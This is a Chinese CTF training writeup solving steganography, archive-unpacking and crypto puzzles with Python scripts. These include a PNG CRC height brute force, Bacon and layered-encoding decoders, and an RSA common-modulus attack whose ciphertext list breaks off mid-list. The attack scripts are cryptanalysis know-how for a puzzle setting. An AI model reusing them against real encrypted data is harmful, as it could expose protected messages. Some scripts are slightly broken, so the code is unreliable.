

10.0.0.55训练赛 Writeup

From LB@10.0.0.55

Misc

0x01 misc100(图片隐写)

首先用binwalk扫了一下，发现没毛病。

然后就搜了一下jpg的文件尾FFD9，如下图，看到了png格式的标志IHDR。

A070h:	68 68 7A 81 34 40 E2 00 58 59 04 81 FF D9 00 00	h h z . 4 @ â . X Y . . ÿ Û . .
A080h:	00 0D 49 48 44 52 00 00 03 20 00 00 01 2C 08 06	. . I H D R , . .
A090h:	00 00 00 9A 76 82 70 00 00 00 04 67 41 4D 41 00	. . . š v , p g A M A .
A0A0h:	00 B1 8F 0B FC 61 05 00 00 00 20 63 48 52 4D 00	. ± . . ũ a c H R M .
A0B0h:	00 7A 26 00 00 80 84 00 00 FA 00 00 00 80 E8 00	. z & . . € „ . . ú . . . € è .
A0C0h:	00 75 30 00 00 EA 60 00 00 3A 98 00 00 17 70 9C	. u 0 . . ê ~ . . : ~ . . . p œ
A0D0h:	BA 51 3C 00 00 00 09 70 48 59 73 00 00 0F C4 00	° ñ < . . n H v € Ā

于是将FFD9以前的部分删除，补全PNG文件头8950 4e47 0d0a 1a0a得到一张新的图片，看上去是全白的，毫无内容。但是打开提示图片出错，于是想到是宽高和CRC不匹配导致的。

分析一波png格式可以知道，

```
CRC = 0x9A768270, width = 0x0320, height = 0x012C
```

爆破高度，脚本如下：

```
# -*- coding: utf-8 -*-
import binascii
import struct
#\x49\x48\x44\x52\x00\x00\x03\x20\x00\x00\x01\x2C\x08\x06\x00\x00\x00
crc32key = 0x9A768270
width = '\x00\x00\x03\x20'
for i in range(256, 65535):
    height = struct.pack('>i', i)
    #CRC: 9A768270
    data = '\x49\x48\x44\x52' + width + height +
    '\x08\x06\x00\x00\x00'
    crc32result = binascii.crc32(data) & 0xffffffff
    if crc32result == crc32key:
        print ''.join(map(lambda c: "%02X" % ord(c), height))
```

得到高度为0x0258，修改得到flag{python&C_master_can_be_my_girlfriend}。

0x02 misc200(python解压)

一看题目描述就知道是要解压**800**次压缩包，一开始给的文件是**Gzip**格式，但之后的都是**tar**，所以为了方便手动解压一次，然后脚本解压。

```
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import tarfile
dstPath = ''
tar = tarfile.open("800.tar", "r")
now = tar.getnames()[0]
tar.extractall(dstPath)

while now != 'flag':
    tar = tarfile.open(now, "r")
    now = tar.getnames()[0]
    tar.extractall(dstPath)
```

得到flag{for_iin{800..0};do_tar_xzvf\$;done&&_cat_flag}

Crypto

0x03 crypto100(bacon密码)

首先看到佛曰于是到该网站解密<http://keyfc.net/bbs/tools/tudoucode.aspx>

与佛论禅

```
°ω°/= /`m`)/`~└┐└┐ //`*`∇`*`/ [°_°]; o=(°-°) =_3; c=(°Θ°)=(°-°)-(°-°); (°Δ°) =
(°Θ°)=(o^_o)/(o^_o);(°Δ°)={°Θ°:°_°,°ω°/:(°ω°/=3)+°_°}[°Θ°],°-°/:(°ω°/+
°_°)[o^_o-(°Θ°)],°Δ°/:(°-°==3)+°_°[°-°]};(°Δ°)[°Θ°]=(°ω°/=3)+°_°
[c^_o];(°Δ°)[°c']=(°Δ°)+°_°[(°-°)+(°-°)-(°Θ°)];(°Δ°)[°o']=(°Δ°)+°_°[°
```

听佛说宇宙的真谛

参悟佛所言的真意

普度众生

菩提本无树，明镜亦非台

如是我闻：持急害过孝字特即除積老文安參宇妙閣閱牟毘过贤首蘇孝进文濟粟除刚恤擣以舍陵涅親焰昼莒栗寫夫
树胜想麼游豆先除心惜豆进即朋教沙路須解釋怖忧和姪智朋顛戏究弟足心夫孝量須者千豆如空依灭真楞教和七祖
醯帝善先过弟訶竟造令灯敬盡毒殺惜下姪经和于刚药殊定未利蘇念通七藥树難说害刚呼豆戏游廟他游宗想心高穆
万孝特瑞昼彌在敬薩盡凉智树捨楞蒙恤死姪解隸即盡六真金毒灯在开婦他功胜羅树訶寡想輪師央足豆伊修护釋難
号尼伊宅持醯七弟修能訶室多穆路宝梭忧顛药師提中室顛亦陰參贤百三五敬楞高慈藥室夷师教通謹舍进慈修殺五
曳师清名鄉号盡羅王亿和陵宇灭時弥死持下真穩遠休参数众困央心殊怖陵和恐令陰穆蒙昼游孫夫閱施栗殊过蘇
死毘以皂慈藥贤北吼吼生千息树謹北众定孤諦戏恐东寫藐沙特毘麼进捨恤路孝故百除涅休羅念路夷室夜麼輪迦廟
寂宗擣知憐孝毘遠穆进陀修精睦親除礙兄提普先捨便至恤高游刚陰逝便至孕族僧藝月夷守殊千安施妙福造闍念游
慈藝下陀首夷舍虛令寂皂麼涅槃哈度妙倒依紛死蘇捨毘粟顛清麼开毒藥即紛戒妙以释金求遠特念戒殊瑞除夜敬及
瑟三教拔殊方者時審濟陰行王時茶經室下究贤薩劫夷即礙号親定贤毘放牟德孫究药須僧和诸戒誦寡游茶吉阿朋師
姪栗百倒通藝即擣親麼琉捨穆顛教行千逝捨謹乾度想兄闍弥廣排積師廟慈于廣进六排紛未如弥藝寫哈廟愛急輪率
橋寡惜顛瑟守弟哈凉刚首数文经夷夢禮花善殊山孝幽多依想帝兄瑟積藐六梭親慈曳朋廣哈解倒麼夫各劫宝廟恤
释持創师孤廟孝親寫室六特教伊梭先通重怖安守寂金呼路迦游乾说訶審時心老于劫遠寡特牟牟經施參央戒亿故方
尼安文輪住梭愛多令月开經奉说亦北哈和憐解毘教告族陰智謹輪栗花树虚捐便福梭栗信生

得到js颜文字，试了好几个浏览器的console都不太好使，最后用的360。

```
✖ ▼ Uncaught ReferenceError: VM629:2
flagFlagflagflagflagflagFlagFlagflagFlagFlagflagflagFlagFlagflagFlagfl
lagflagFlagflagflagflagFlagflagflagFlagflagflagFlagflagflagFlagflagfl
agflagFlagFlagflagFlagflagflagflagflagFlagFlagflagflagFlagFlagflagfla
gflagflagflagFlagflagflagFlagFlagFlagflagflagflagflagFlagFlagflagFlagfla
flagflagflagFlagFlagflagFlagflagflagFlagflagflag is not defined
```

得到好多flag（滑稽），将Flag转为1，flag转为0，发现字符串长度为85，是5的倍数，在M4x学长的提示知道是bacon密码,将1转为a，0转为b解密。

附上脚本

```

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import re

alphabet =
['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']

first_cipher =
["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","babaa","babab","babba","babbb","bbaaa","bbaab"]

second_cipher =
["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","baabb","babaa","babab","babba","babbb"]

def encode():
    string = raw_input("please input string to encode:\n")
    e_string1 = ""
    e_string2 = ""
    for index in string:
        for i in range(0,26):
            if index == alphabet[i]:
                e_string1 += first_cipher[i]
                e_string2 += second_cipher[i]
                break
    print "first encode method result is:\n"+e_string1
    print "second encode method result is:\n"+e_string2
    return

def decode():
    e_string = raw_input("please input string to decode:\n")
    e_array = re.findall(".{5}",e_string)
    d_string1 = ""
    d_string2 = ""
    for index in e_array:

```

```

        for i in range(0,26):
            if index == first_cipher[i]:
                d_string1 += alphabet[i]
            if index == second_cipher[i]:
                d_string2 += alphabet[i]
        print "first decode method result is:\n"+d_string1
        print "second decode method result is:\n"+d_string2
        return

if __name__ == '__main__':
    while True:
        print "\t*****Bacon Encode Decode System*****"
        print "input should be lowercase,cipher just include a b"
        print "1.encode\n2.decode\n3.exit"
        s_number = raw_input("please input number to choose\n")
        if s_number == "1":
            encode()
            raw_input()
        elif s_number == "2":
            decode()
            raw_input()
        elif s_number == "3":
            break
        else:
            continue

```

得到flag{interestingcoding}

0x04 crypto200

这题就是把flag经过四个函数加密，并且每一次把要加密的函数的序号告诉你，让你逆回去，附上脚本。

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import random
import string

'''大小写字母前后颠倒'''
def rot13(s):
    return s.translate(string.maketrans(
        string.uppercase[13:] + string.uppercase[:13] +
        string.lowercase[13:] + string.lowercase[:13],
        string.uppercase + string.lowercase))

'''base64编码'''
def base64(s):
    return ''.join(s.decode('base64').split())

def hex(s):
    return s.decode('hex')

'''大写转小写，小写转大写'''
def upsidedown(s):
    return s.translate(string.maketrans(
        string.lowercase + string.uppercase,
        string.uppercase + string.lowercase))

flag = open('flag1.txt', 'r').read() # try to recover flag

E = (rot13, base64, hex, upsidedown)

while flag[0:4] != 'FLAG':
    print flag[0]
    flag = E[int(flag[0])](flag[1:])

print flag
#FLAG{KEEP CLAM AND DECODE!}
```

0x05 crypto300

这是我入坑CTF搞的第一道RSA，abo居然就弄这么难....

这题的加密简单来说就是 $c = \text{pow}(\text{flag}, e, n)$

每次的c和e都不同，但n是固定的，这是关键。熟悉rsa的就知道是共模攻击。

脚本如下：

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from libnum import n2s
import sys
sys.setrecursionlimit(1000000)
e = [1619455979,
2218655053,
2835180841,
3071798573,
3875439793,
361506967,
1578333451,
2921677883,
3932969143,
364263283,
3513149351,
3517079837,
696665539,
3335742701,
3157525687,
1113728801,
3628966093,
2111846309,
3650543653,
2507103857,
2151201433,
2470127773,
4167499013,
2990751161,
734964331,
3662407867,
2133375229,
4283967859,
3533655011,
1930522169,
1808434097,
786604957]
c = [
19871525333320514030930476288593461822971719630889002760314148098073177510
```


73483609296916646113109375039788709001950828054303747836940302560806220164
31713424487244772527324022843322914415619245021182421250854444440781360638
42205166661383984194478232248733859976589410204133873257401266893181389732
56602469678694766028089097971629027012102168693599284292887917854526353163
67779426533481308013371557355393449986658731108747490355528775172926959308
65828017494015283243216573643929341887442573475178285792549766226500259151
33933726834547670876023793800527479365626184832749586889074396931494458290
31530613277130701096166928779898938460841793137793772824993304228003993183
93087979263249247048366982539942345679790814349411102041871098834683516621
22435850558637468109636266063083859136882541664166330061181308907574636526
37792926528161963258064305876815498055545713830360972308419832086946998782
64975684560792386328193940220345493727362003807234657538180881258309551445
35367373473810242333657060999894435049751494205397588134613601429877739769
73719344200937932368445461807527624932180387123416910068146569630371506530
69826416432783463808328316788615972259151080142233195628869110944292364904
6533833838586468844563801643083794278525900495947,
32615591258153885532872120460212758736134886243634813235838462055254224230
15697889383724133350343883756004973881101920205366685213184357996918081913
59181956704356462187983388782078844864397764408125891586591126704964324337
64763703282993219460450070048880305140176623143541011577825923740021624574
56595916812971485750338405365079647138878312912326682219132846062257182525
47970742787667443444490299214553967942629461020994840142683177369556689325
89922820688481421252093330569923330793746274040977414382575142010484625274
44012060964130363638782821376661018603434812828759474733304151824138725574
34956716943882240922413343755579602219296393777463303034763644136556419859
78548904603860853957255975864881413562849205221262023878345647011166440806
96159719804767559920403740425645992219968615859544271078220699186997119171
81582517600510983498250602047556757630535699217761426731989892920510938776
23107211494156101936560510747801392150211993816788481683949289424910933680
71115571899944353274110244539152005353988655953961059778609612719249416416
42285183589277376848615971508590187811141354302599036654700551964319358203
28527509699402240720477154140845753960909980044365171108581262312383752579
303617377411202139764854951147676135169489302612,
66331348462686153250296695781759893840540082106431060688642166094920963054
45438616090928502469370870918065944730881182720732297351706948389184152406
45684816968862766021102357567925359726405465505916639587881848319429558187
75909915874563107859430209106226964836934030904395159115382465970234941199
70481976964059376290041382173878759321186250924439801337127719509935248116
28602706652716546303615083697743481313679934674250309981601695872161576737
61775547713241287877763236621619305350738327144779326468027949822827736957
62592465189219515958788680230041231857206658544943518683595813742795707263

27534880640460447983055100567519005325403819841961882842724847037802969217
52859005241779484177257625857724661788303985408659574882200738498812640123
58941484662087818785162704033298598821785733444422974710111683554658738752
90583871759189813696305135823813139810251326673776619963479585846084141042
77777302587522043029635312231205555223913452993688170151119170674621210807
81750450988672358961403741586390012361453226325889285535332530834691245980
84651928339361394558534860299768090487385201093063807287820941123904775096
87496884677499629470529566827202707607848230794504633198690328201945268284
346523454710734309082838305207763348401424238509,
16400416344600808966671819213703181735985027725576698232578764703734594836
52039767986378423115124648638329061119059906239498172539404099869849511127
67032808318393752234041361036838124761423267335784301252250962536689187346
81383104102269026318537496103500394514917597293825208048027068019326501760
92900119245253705950096054676682141646634213276139086792259415717897611384
75288685059169731989145533584891528093887786774822746317153981394811634900
99370642522243118832006225231554254533445310512223115608434344282283889268
91234651495867244392060928859353180166398944861573452942951482548535748556
35676004303932911256592084480039592267380784991320280314496529203522239789
77588504340041084424383298648463623881308135012409605069728626494668413512
13101200358687942501708522811041125767329123353801946474379451594686395230
52796880927916652199668921197221184709945108069959143340391045094329297902
70701717224583126218358557192149363554994429856619033957974636262270044205
22347203011039549993917880788360809098622223173505643015307322933461919632
49511710072105503974619883584325246801156050757765262314256649373555369425
02583220980459867436282492794024124215260028126671728591514940096005986505
4140490833118788728211569894674181393036838662875,
45947960368739558208097493897625666406633828759236085666167128694351187102
10181242079831148069444816078447776461466610296009625352390977961289894466
05066425484893367853847654260514702504126722342269359188605898840558597677
85524582180227176073546719310433965344821800284543451669281085954579291207
71465619731404690958873805217028394632733711327695894889806354591168358556
18613029072989436191470551817408979950475585738710897489798867542577255283
92778596105329761947544528644945129354031014613215305127062993261593496058
00323571310288507071581132193166508837716705525997797026551067028818313817
39644246099123566578060701812286259415192683241107717021051063625873141679
01665479477518591875398263727739793665536157373778040769289142530185779538
75746880421031607837890530375185093898536335890382802486035760396598129333
72573694611112084736034469919463060373713203078768277402430117758066930287
58616187294179449918997202266105617313062057606633200377759983936855402445
89906157694780821248391248837417525096999407388080351184669361686397352069
20058518221717146388192078006410585014272135774831251337609370200286498764

66638159277508377195781127462225538527920401092407877686318950049498560362
743264958089197976688365662494303276857287168119,
12535609235787770666289037578924788966957891877214018851029425118477043700
37874884675950022020597125379469318563117797529346369100156388437931728097
55851298956301887259898984497441797450426575641649222569223654927347219044
68575148466168316357380452974151492667284433012123380005306506445787068635
22772165800009515940811995902083468725596152813023512886178538305769040623
36628369777575347245887385257515011600976082606608983590091188944101135002
11977117515908607891249801603759583012230691862440348224119602500908719389
24186728156417048079989043321802461582216381804673863850839065463375193432
03946612180983042890996720084800461839064529501322421729525787193475935973
00389388420379554803903309915428141409767928838336657458194875744426668201
45799173777409189200086275548258029673719747097876064870413456439904653512
48803393702066685612265001695946536255545313027715724876193563102061706081
74553815569855462474078957479612500917711645934916072636059009175089425392
89369088709991612415776699528872064825182643829377056462339992489581779080
25091623698057409751131183834050213187339506436023005072302566583836809210
34965205196390113083844738649912005302154530337650508210028432809515996686
4528528141555670656237144471817981898233821593892,
11394758519001305020485863996867169350648406733622283405043934441223498391
81198681680108407345547537281850362616129878485027726449978000591592052071
59229423379995979680377447006074354078488350321558466272998181614961796171
60471813625565813891902187128386901847382699888682557291331293774018922807
08643871910380242668857709864483109555556568554806839635563641673744308414
44821204671913908252858635013165707240160147743448468631778867705949485724
25427392563676440337476329414218606409387236851345176105996833839670839968
69515422643515685183761513576274883733807980173986084085111975956498897911
96154271553115020249999283686802826932918287532157880899468242790662705099
10526868673088380094346890397495826763929114659837462752906715903912340273
64339677301344096735111566244400960091580593771100973271939249876413169459
75645260656977347657073468592006953287005071713408262272027904451749297996
43113872785607371116924279693795616900335774981392400050988506167414455377
00816473863763999262238119968416667719498941701725775991934384473797953541
40681289148657382143157540998161025008699580737935977205487224784562054202
11723333893403737484857038226484375790398677453017210401090312732262799491
7241441677326799470264604563991487873632326302069,
80942726005728824895215139113781083664968065596375683537740325568270790305
77103097994986796990678922962911168123550593014835293269184642982023869111
97507899227701897703324133115872977745919573392972765656542106649463070667
00933111957642953819634082628772905457015617842988864089659612675074789406
38953202461734486392519293066531839246818378965873677348824203871264202092

45609556781953012663082983887384839068246957697180387264298614761387520151
03729553608430087736188299144703289939649895950515761300598105216355133561
52028262299988760637270529851040350563412177915721019834927361004279291683
65035796596293193071239790661076943420812650798097954307526567112723110958
26048229251480801188222464003350293060931742028851046247734460021990902239
12112070333676258066337595155898461498045268666732921630352319950960174332
63840744599417862463264179371083865417813305660668868721078469428802009880
48881633524680894252100758417934873383671789036332801657881546676971187457
53791651268104608438983458178046622784745198026524514528189583253399203756
14571394738163292003690831143230096990372210525302935156248441083472603729
93401849388853134122676211888008496411856021147982279818973569279701644160
381544518890795806992080917984283873837126824144,
21474896428608103520941192264337232705972520234973234739924553466511097055
41220290790126339322188611521873266344323995806002696219405923632195745840
18740126198736853091958272130277402229456891249531449094309041328811725296
96690023083131629415586498750580373793816561759990662217459261214927557609
64578828363402042085635697621260817919762843956185569164237510000036735661
27803559862024141373910377225212084919293025027358977244217142578601147139
02727011346326370679956687813626976720019827493052785000215565437510480168
08345208361695273124392592263003310534519136780157957774049399387489592924
57424659588265575850034351369258584740414184475935450540897753794827814119
25063549386430772479925608834667284638448239378939028871555061560797687285
74741560272662794270308489571814055070393877197479828975295516843614687239
83162067857797046622598902612792434860014566055707508089514218004436137530
36434093980397897907887429528073947732632435170111823643723805655258072747
53882895531536082710343813725307231357311789492694516343032405117671136703
11279951044780493946481740928681929901143828573923743240314176518678925316
10607220439810941707708605546720875642103484456439855914617952712558106343
7361146615823627458558756122599449355201559716459,
24176749527752812890010100048665274927588927448742229382353924867624535245
24031188437050868047903625582750012636952580448200111160958870889142443549
05676648429118435033479697310583629420333669388307208727678293951879971310
20627016042633019995097546756775693792610669315818663781194377966675875010
57783898313568534556442536123703116864419011348646454746222634262848689027
91525887618572059585671895947060021234289934249684722783138728198504449574
92008701560686581326086575398075109401658843155956104599187149499229549487
92681571212706714555170427480982764069994544624545730667598454190707751131
52069458040205165768555000122302500543039231566711349898790729753864006820
33247477564171074820931087355498974034034586110209239703732872527706423495
41719258569747275776558715424813597057668104820299882041779847057998187990
55378721673498470196963079490232257637980742372941622550634835211334846801

74899807304225425231722291997784883863198604232287268729331091810885662642
25492695421541098573121318632868777679503064236590265335818077253942359571
19243940800836289110410712850061875964834310808398889960044969086978294257
06288085163051111475542653972255303580620329738701123110403017118188852765
3438030633976961778199162953343526700865027496929,
25771454196132453437718448318133067867803385171967833176851500229332442576
87341461756707871633779009360125976023254811535505366425599860445280226838
10519287646551581731805922639833743871715994936998335959329613459272463658
93319630788946129060655116160098520267513410228949879821996288801279124703
16486521875750010433358604680242026126289697073926716615978332331615939196
67199861509442382102919656806077987736515357432320742052537365011107214491
55969118943305059944453060339107415495916870708294896731965602320511893593
20437414211910179791684800480812488299436367418432430239325312670933886749
08610789456766016952874442794461343818692035780915021763187145131426997361
92911483092174884136007452734334822977914195468290125511263590293464137395
02199760425802612894144899402135762401042905445465825494269019166984962530
79022698373844103622438767327397941926815642036561669728546312770635905334
25786800254683192538938082043044869066640357504838361565028310436735600859
93316042627704188166617301814807184322847340609454943941688023179751746047
79739968830616970026722022431879192931747360257655121344286299631744108849
50104958454836930105252436642580381497960230056733316981392686711783204122
0602112126312630614846998281384526636317619412909,
15224961652367394463542857914053122632274819091136473065994723155444830279
27591659054610699661614876959259989079807960211471308369793020162529725027
64580971887924209920025359074898246785467733810569293830398850124137963734
00430813253588006405407377811957186017600953991607441996991896156245286646
31128489085797566338697992280996023782666214288716056245693364480767628777
98889460161981269513371081026181922559581851089365263860867731283840262835
49896170829250490860133849493854434308040481174838875286881518991408745171
94399448254196036281722057287178153789438743306225904357285743027334793289
56934548803393266224358585130938195813317420478884586085609569474366402736
14985194123424036027568712240705482421521080795703233742709902551537071066
63284080120419527572872352094963554447736565136143565252350256173983457986
73805910780738340609957030127753371119975015410335999833913421796508144765
25423135996035533543258429146106644532924573677006509876142821620128155669
07020760554287443446636971303229978583259346320447920311124173001222702168
92692796363243327158672806252176738131619643525149266446681926753397993479
99468282250599928481062338748048651965697635065005399900148360373177470954
0642044035868906426973762559839540670123648543321,
14188517501759630542350062764513157510778633943029464584153434639374497092
85477061486925983247740172764972085266703401103056007213767232437592521191

99493174404588674152780412046411847521117800376368723498110209103411734829
95947146141305546827884919088011203398921465131700003244856667463062679872
16805194045514701321642774635483324321279955845448845388255171400773973920
86480903363569224142336996118730340350793968901023298056769525908004725165
66687520505747781921071390016850975831277911957418730691756883615025997167
15050345249459607741598737300411658489980203060354581874135918353712798859
88071087098065297253004014665792577814202292314106976221968792123914849966
92532689818040912516838765305578085041678353338823379400720663992428650879
77196261994312249271736548197756359533634643477734377462119967735373089088
12131219174505723379744294194604879171275955187982294896604822813307573007
96910642984095327092369628867141767474066578760432013450088281768291506270
52215055325734633423113823095345115611199672739037627932925999490471238831
06545864209213649853055775133470488753273747454692389699907818349846963686
54800674727238567892309096370231537409759914928879903584918917353831261528
1590629524521735004123625275574683625257365982950,
84154887167663005564971781415759129131513858873266567263971478334826569906
22181617449942743897179104320352547410729694020664581282760950108007725577
65670975326019982220502221488753783158542390482851443549655864402425206513
97385647071959123975187982843234896331888071927552848904030360907011381338
16042123707894362905745176394941515187824330331230439120352111283091905014
46935263514374025373152255858739837623772010709297156912064451836935614824
20051400633076275020902523275446788011537262658326370350329119901078250330
31921830618459662117506592858850886882410292188447616509116003409646029928
61548042179511512775648436954691426378185542542561365707002603535325880685
60351375083518146438604538140378764050328633359886305506182537529136644867
44471729439776940713535591414227365171410182492268456727242974766219956836
04339251376907266096006456350695187168376771563658874712445601249371529214
79266520981831171952445727967566859213080826731388277694313996215356614344
86116156191624599053668781317977011626470760704770626525246801548402619523
05288614645417296669028452845124954373066868989302238079833721291245429661
25267141190292960089874990660191717704379851606294904470331435767235538293
577922264523225637347689613509384255979791360328,
43055389645867477740739762219909717374008269061992587411227265348272388255
74944718089805189482094372421076596985291747815170912391903119760676370082
29115933322513368207141966719205836938140862495848590418542779025734664361
73027214554104290378462905100242892219394275533364666633602052047102375720
51497022215014013900055376972441282952685246496092975918858875147846494838
82148411440954074221345528489305198207409022654410589587613807297562301836
03969122778078738907961741909986257001829656399667355771459698511700536882
27977108923182248072338926239435423941728652221782518321190792127126957056
09165228254969136806371730826709437388063253125587837814982396109806125037

97072443469055008386663918663661425577342738124440147047973869745514096049
15190012725796597724608328341504015011448177018029293621914818112396419307
36386154758705767015952508266904492474674532218791626081398558441904963199
50953492864185640791968347838147106631307491855318809632587021819663942460
60683829645698799301055150104589716243516099826312290819787746460321335451
00759784395097357798999688199381394036234084478674171881428159727725707310
54570709025534770324415491896847680853280545722024225400812335839453618710
312986137796093716534638332665783690053427565890,
30080509383677526968771450388698191504733106966058321459213577626715341286
02517010790145529497830158399940267250239459011932337274942106248185898471
17536581710999780071379534892743515738612273915688354944651397406101711475
05115937006979114189903971357195992760582929202161806076042559742454080999
93294449425129859903391768942371871325575712895564091022328531133758035502
28683847087545839451041477658068909491612228696189919798922378874844769455
07717980063386043993127824688132116547925849679449042980569719639639845053
56014054943004880513311715558428409852156144267351463951324101784842586871
47636026156930025265764469768343393258010859496045917596198198115591415776
14956204084470046970601657016973369936394416746535008512715518425640452248
30326919585716717287208637156355734757643484249818827072609104755024903458
40937305158588731592680874307201487280234247426374006926927495825609714729
75649673114567878546095886215575376383258079022271729451261017933831020946
51920197661218950847465971974814983083017704737097439587251963247307020412
15569698219469796537186707814504900463205554828332215496060575292208125755
75179920647679117994098089098751938952458075310059157182193231983451790982
8317799968182139456552228828118462241699682538215,
13831596779908231949029644595212924674556317918941835450884167722963825989
02333309231864358448719578621741673592299190392843045448016372417591343179
27339498384323728740308391869882282641100164329833112544490531610162853039
87407561236724194140670834164314915536773440870516335736683588019333302430
22608183315607240333360554153137409287158782247092821168874724416246284556
03706235225795697510446794073701843132129403117265913442933436437027396730
21751133452711510635127022140152917974647871118496165119125322169972714206
18011784306640409587717074944601817322323379534158285461986917070333137728
94128162875464480105242199754920648127850370370003988060285111321590722417
14842361354576890251812277553262705778014040078394500959852041597569239386
33478755872038448374969059348935032823234651187929629501895827706767921941
01789778784292361424387343556640230203756522907496993072562753301134799557
82603274705444428722710098103340758073571753365010626901791374794164187693
32596448227105229569835237177438144076980374214340205947675313907888941678
55043325427253386448600253651599622076865992719336952996107347634527539570
97207484388675432986717147978170370212268694318144361033872750825575227751

2516232067794521891591677203255878922590577353237,
23374074142210374238522688645947222825799632702720066923327022910669402730
07019733460215184741247457614208686455549756343478796830817853947216276958
06659008928588139601813725687736133617243782809822596609914471421975648172
30663289483976185596725436331537586018137279862186796963784793504099129454
18584026342374366761634624540247182243615125902444905225105283517786783464
80402700382951123489117058006415772227637662064238950401445829597912585254
30148385523155452589295740137424561062067784348857985437728738495545915506
96707036580513664585357139604396983475890062939728638451519139504340105229
97164682113968952739054333618973511388158499125413572347339627042448286533
26373520260780059447737126239188553121029304445819705752487035780972896569
95573824426757422983880010664046184897672517621570635682163509113307274753
57473470623152086840758107385045257051648933616583481918254777353698564998
86242475877140109868804715177806307679001746624206612071294106669540289402
12058352850138573387880282073890852539540734085542604035709739998064636575
14170152348437729921947241986792747213414965359649966031309824090239867787
94775754011901444318934070198984453131133661463335404824988787046529932651
1294175524764597920051931417047441603395093018730,
24671930852059292062717937535229689260768036144320752858258290076259106101
79745018682491962556241852447623996136714975495109366789274319145063677765
09748817150579947091205723368545513742677870756111193095047255664855494883
36014687739522160980836045842268725286106988331199634613237221402058059407
33097065783475034531965870920791369159648412308961371996506716386261763588
49088414232492164299383500442885916251151073773948628843699243501954315568
85230901978748021250175325666403998101051846102844433672343991490618506036
75243865463736670621425549246616376628890117282189028774320947872953396290
30233821634494188419259269221673775348647066501174147709661479053932470613
83063833364400357249331390273637759522926298007308951998443252646509527895
12307090765357308109979820938559021925431315557767497800365032085920706445
40863433216189194449905863206000199298066699985225844781917772916059953902
03290026654929622621886718167069133856148488357578338143552540071079823303
13658627959756464725991464148938473075307180131442633719279268312238713101
53770086986628181751937606310418604742376058398134081723746654217631467890
04668804592884801981188505827442124153803688640093142141340401749331990031
6044601954955303082294070896183674478977452117911,
23686321263589926890363339158619227028195140424171958810075758633893968366
24100808863083897897996778824514594893790495556371019299824862192868408560
11920759656664168453863660294112292140838071766123673388992374383357275899
20748231816259519986610687471538627220805840340427494734004049377494669925
44940784044358720700284952189450030966108597144236790259734249805119092960
06604216006426909938802897596503312879672009150267131683390667424558114743

69420662691626037760338190660484971931813749997879791563286399710167597432
61233237784924413475601692216177898172595805627289514470267650303187372887
42675440350231882794749429834572275730182229309065713144401277110458972279
31897423696053214698275639334606367711097679575121373403789038650294273157
27742721323767997875388700430539950334870159776419607312372968827047840580
70134826109233192466203053918513775569191750609389729081103755988056143301
13705679530791795969383543896597185043475170267374824982688471808013417102
25983944705041548224989190063477967301211203186128623664878972292607845791
08714962151674232483170289175177377875379175343808063061650527670954592834
47657449004980873250032017192328686341907806705688261565967851515805545656
7037992682772757835766697037290256319066632554220,
10897427893965109249289399267323338577998467031418471113931202726403740479
54629783378530179724914195884549900159159146881734374723796485827411525414
57048843337162825145123822246313801899628596081757531355794108961215283609
66253208583078559284393579306317017546633581135620114981022011880869247307
14718517583599382703157518693162769818186921432470183694514492710654223626
81923519494324327423446124684149748126607147156578061248513346930496584118
38951404904478234858680695314057524355781465926464617723593499540244268652
80055115377037479555671589013235078303026455885644336017578585890917706390
94625194246846473955607899258941908024132433619382381054635975546735644595
51804844883189014296967001449630531603965938590383767295309511704923224784
98042215989269849149671930682372002249390694285520209122558985933474610513
10053072708916269940422440491461041468147301891353890852765051180075075065
59563978108529757686187660891862180796974822516293738036806222430352484094
04026020647492939394480418473248152631414766754208339819000787062110459403
21489041228048485919505215826304241790811663170805612121272474198904959089
04870138916638439208237155309618698333642412332939776915417095697379563597
6381852189738982493742235569513623307309490410898,
19532867680309280956356410049167293285555124160017218272050483299148217931
20502178565176727603183775634365203048152040689046350003797416262393802306
17418756995881649346496306969324454331544968901767813625431202856488192606
16897182999218241014578459616505811968503369416072667608688820954038195218
95144467079296676299651291335334136061182453761726985803045874123346247337
09106156644677458067759660637678438552462224245011754521090764767068945230
68656413963682374790316420580235762167043728725919805897533575905623278467
46763560030358639911621443017432337356822478979898133590753791310038831454
10450881318210835485963839229545925361751058953400868905637849198162572721
75426377213741990224887937170933800087259325657378796255732255792461449869
22409543734632514077995363851880148077744181377305460866357539600342705743
31540157782942227500775507797434670956459069871060425368581596885575824659
43755172592175393433635071576726308056209528607702864452269309847267954326

43002982472727983562509121932244687639706801777545357743131963140298571123
58922803782360816013106028307281783313150019420876364560453255982777291697
21633128103962195193583188917089972121728255509753745743154570030176360794
0935983567635021643868458571860375807272471454884,
28092291208073447645228868822930546448287466743819014161161725000283970008
44284894522163950067456082765156313298213038216341580882605191775103044753
44181100774620244949106352394485684487285130844449636034900004144662458588
38843298854783424412982635027858258463961204992304046840169153638885985183
24474400962492052974936458280217042162991137991139963991353274700245405949
06058983356257544082089173047513179628172164415162467371704287609571058874
27727770465591569078321932700236883644886934986745934766268688518800546919
15810782123780287897324362367604735262429322835248278057263045353814480774
35792951908974972640760481791374981080279210268425069355965043104714886295
19083251633913219392926729141400859532273170764299698962279176297329091369
24368107779910341116681643518491441938926659671873067721579481978148431567
32207065517336800076471601638418154790370592215507537489897060828118444643
0569502137520637827090156476524080515116953510298311303048777729793162574
31502961359497481194169934385810009936193114122865948076283768347518221801
5296841722587597236378954307041581156878902219721302546782222877784028972
40802577040784557246025707003650856917564584902579837457717448600082733360
7013685733054710178468035258602460882493841991172,
11959761040098665582274857270424716037874955214009866692897966526435272081
85799652182033206261278601887518838515075787880650476731899838658353037697
75101052499540654461042578201405519943996655527927432568654121760073883806
45356086141204571619435973669966476788415307846556680983337915529367528870
35586717575723383108119991954991030339337346794903889166186041052538968465
01640165766038127605992328516824323561115674741493527578312594272314928734
19209325201374477626128737719801805907855887778577518093990267006743536275
